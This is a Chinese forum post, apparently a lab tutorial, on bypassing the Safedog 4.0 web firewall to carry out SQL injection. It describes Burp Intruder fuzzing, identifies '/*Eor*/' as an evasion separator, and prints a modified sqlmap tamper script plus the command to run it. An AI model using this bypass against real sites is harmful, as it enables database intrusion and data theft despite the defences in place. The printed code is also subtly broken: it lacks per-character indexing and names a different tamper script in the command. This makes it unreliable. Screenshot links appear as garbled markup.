查看: 312|回复: 0

技术讨论 | Fuzz绕过安全狗4.0实现SQL注入

[复制链接]

113

主题

115

帖子

214743万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
2147439412
发表于 2020-9-29 16:30:26 | 显示全部楼层 |阅读模式
0×00 前言

本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本,对安全狗进行绕过。

0×01注入绕waf过常用手法

使用大小写绕过

使用/**/注释符绕过

使用大的数据包绕过

使用/!**/注释符绕过

……

0×02本文使用的手法是/**/注释符

首先搭建好一个有sql注入的测试平台,在服务器安装安全狗4.0版本

中间件和数据库使用的是apache+mysql+php(如图下)

访问搭建好有sql注入点的网站:

[/url]

先进行简单测试

使用大小写加/**/注释

[url=https://image.3001.net/images/20200421/1587451877_5e9e97e5dfd8c.png]

访问被拦截

[/url]

使用burp进行对刚刚注入点进行抓包

[url=https://image.3001.net/images/20200421/1587452420_5e9e9a0436f0a.png]

放到重发功能repeater里面,修改id后面的值,以便等下方便爆破

[/url]

修改方法,就是尽量sql语句简单,而且可以触发安全狗

以为使用到/**/注释符号来代替空格,使用尽量sql语句只留一个空格,又能触发安全狗

我的构造,刚刚好阔以触发安全狗

[url=https://image.3001.net/images/20200421/1587452721_5e9e9b31b484a.png]

然后接下来就是fuzz,看看哪一个字符能绕过安全狗啦

把数据包放到intuder里面

[/url]

爆破点如上图

[url=https://image.3001.net/images/20200421/1587452883_5e9e9bd33cb7b.png]

设置如上图,字典是一些sql语句,网上有很多这种字典

开始fuzz

如果有拦截就会是这样子

[/url]

成功绕过安全狗拦截,如下图

[url=https://image.3001.net/images/20200421/1587453126_5e9e9cc646df7.png]

说明该/*Eor*/这个注释符可以绕过安全狗

简单测试/*Eor*/这个注释符

[/url]

点击确认

[url=https://image.3001.net/images/20200421/1587453637_5e9e9ec5945e7.png]

发现and/*Eor*/1=2会被拦截

不清楚fuzz时候不拦截,手动就拦截了

没关系,使用sqlmap工具

打开sqlmap使在文件下面的文件夹tamper/concat2concatws.py

修改代码:

#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies():     pass def tamper(payload, **kwargs):     """     Replaces space character (' ') with comments '/**/'     Tested against:         * Microsoft SQL Server 2005         * MySQL 4, 5.0 and 5.5         * Oracle 10g         * PostgreSQL 8.3, 8.4, 9.0     Notes:         * Useful to bypass weak and bespoke web application firewalls     >>> tamper('SELECT id FROM users')     'SELECT/**/id/**/FROM/**/users'     """     retVal = payload     if payload:         retVal = ""         quote, doublequote, firstspace = False, False, False         for i in xrange(len(payload)):             if not firstspace:                 if payload.isspace():                     firstspace = True                     retVal += "/**/"                     continue             elif payload == '\'':                 quote = not quote             elif payload == '"':                 doublequote = not doublequote             elif payload == " " and not doublequote and not quote:                 retVal += "/*Eor*/"                 continue             retVal += payload     return retVal

使用命令:python2 sqlmap.py -r 1.txt –tamper=space2comment

开始sql注入

[/url]

成功利用

[url=https://image.3001.net/images/20200421/1587454109_5e9ea09d5da49.png]

0×03小结

这个只是简单的/**/注释绕狗,还有很多方法都可以使用我介绍的fuzz方法去过狗。还有一点不清楚为什么手工会失败,sqlmap里面就会成功,而且burp爆破也可以成功,有大佬知道的可以说说。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报 上传

快捷回复:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表